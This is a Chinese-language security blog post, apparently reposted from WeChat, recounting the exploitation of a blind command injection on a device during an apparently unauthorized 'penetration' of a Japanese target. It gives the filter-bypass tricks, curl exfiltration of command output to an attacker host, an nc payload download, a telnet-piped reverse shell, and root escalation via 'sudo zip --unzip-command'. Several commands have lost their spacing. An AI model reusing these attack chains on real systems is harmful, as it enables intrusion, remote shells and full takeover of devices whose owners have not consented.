一次有趣的RCEbypass

admin 2024年1月11日12:50:13评论21 views字数 1817阅读6分3秒阅读模式

一次有趣的RCEbypass

01

测试阶段

  文章首发于奇安信攻防社区:

   https://forum.butian.net/share/2551

  跟大哥一起渗透樱花国的时候发现个RCE

  无回显,使用curl进行测试

一次有趣的RCEbypass

    大哥服务器上有个接受参数回显的脚本,启动并监听

一次有趣的RCEbypass

    成功接收到该回显

time=`curl x.x.x.x -d"c=$(id)"`

一次有趣的RCEbypass

    尝试写入测试,失败

一次有趣的RCEbypass

一次有趣的RCEbypass

    尝试远程下载wgetpowershell上线等方式,均失败

    使用cat读取代码

一次有趣的RCEbypass

一次有趣的RCEbypass

    简单说下代码,接受posttime参数,将T替换成空格,将/替换成-,然后把过滤过的参数放进SystemSetting_setLocalTime函数当中

    跟进函数,接收参数后拼接到$cmd_date_set

一次有趣的RCEbypass

    然后在48行中过滤掉|,然后拼接到exec中进行命令执行,其中|符号用不了,可以使用反引号``来代替拼接

    所以我们现在知道了屏蔽了/  | 三个符号

   梳理下思路,一般利用方式因为/的原因,所以用不了http协议,无法尝试远程下载等方式,没有权限进行写入文件,那么现在几种方式进行bypass,第一种,替换/|符号,比如常见的空格符$IFS替换,第二种,进行提权写入文件,第三种,想办法再挖一个其他漏洞进行组合利用,第四种,尝试在其他目录写文件执行

    那么先查看有哪些命令可用

    使用compgen -c没有回显,echo $PATH只返回个H,最后使用busybox进行输出测试

一次有趣的RCEbypass

    常用的思路到这卡住了,尝试使用进行读取某一个字符并输出到当前目录,但发现该方法也无效,没有生成成功output.txt

ddif=1bs=1skip=9count=1status=noneof=output.txt

一次有趣的RCEbypass

    继续想办法,虽然限制了/不能进行cd ../..等,但是正常的cd ..是可以使用的

    使用命令

cd..;cd..;cd..;cd..;cdtmp;ncx.x.x.x81>1.sh

    发现是可以成功的

一次有趣的RCEbypass

02

成功getshell

    经过测试,成功步骤如下

    以下简称服务端,其中被控端为目标设备

1服务端启用nc监听,并在被控端中写入命令

    被控端:

cd ..; cd ..; cd ..; cd ..; cd tmp; nc  x.x.x.x 81 > 1.sh

    服务端:

sudo nc -lvvnp 85

2服务端写命令

telnet x.x.x.x82|/bin/sh | telnet x.x.x.x83

一次有趣的RCEbypass

    回车后打开burp

3被控端写命令

time=`curl x.x.x.x -d"c=$(cd ..; cd ..; cd ..; cd ..; cd tmp; nc x.x.x.x 85 > 1.sh)"`

一次有趣的RCEbypass

4发包,发现成功写入1.sh

一次有趣的RCEbypass

5监听82,83端口

一次有趣的RCEbypass

    并发包

time=`cd..;cd..;cd..;cd..;cdtmp;sh 1.sh`

一次有趣的RCEbypass

6至此成功拿到shell

一次有趣的RCEbypass

7进行提权

    其中/etc/sudoers 设置了nobody可以使用sudo不需要输入密码的命令

一次有趣的RCEbypass

    又因为/usr/bin/zip 有一个参数--unzip-command可以执行命令

    所以使用以下命令就可以直接进行提权

sudo /usr/bin/zip1aca.zip/etc/passwd -T--unzip-command="sh -c /bin/sh"

一次有趣的RCEbypass

    拿到root权限。

03

方法二

    第二种方法,根据文件代码,发现一个上传点如下

一次有趣的RCEbypass

    其中路径为/svr/www,没有到网站目录/www/,那么利用方法就是上传一个文件,在使用rce进行执行拿到shell,在34行有个简单的判断是否为zip格式文件,但是并没有限制后缀名等条件

    简单写个poc

一次有趣的RCEbypass

    其中写入的内容如下

sudo /usr/bin/zip1aca.zip/etc/syslog.conf -T--unzip-command="sh -c 'id > /tmp/test.txt'"

一次有趣的RCEbypass

    上传成功后跟之前的利用思路一样,跨目录进行读取

一次有趣的RCEbypass

一次有趣的RCEbypass

一次有趣的RCEbypass

圆满成功!感谢@昭通早行网络科技有限公司的各位师傅不吝赐教!!!

宣传页

ZAC安全

本人微信:zacaq999
文章内容如有任何错误或者对不上号的,可以加我微信,感谢各位大佬们的指点

安全宝典欢迎各位大佬以投稿方式免费进入!

一次有趣的RCEbypass

原文始发于微信公众号(ZAC安全):一次有趣的RCEbypass

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月11日12:50:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次有趣的RCEbypasshttp://cn-sec.com/archives/2213947.html

发表评论

匿名网友 填写信息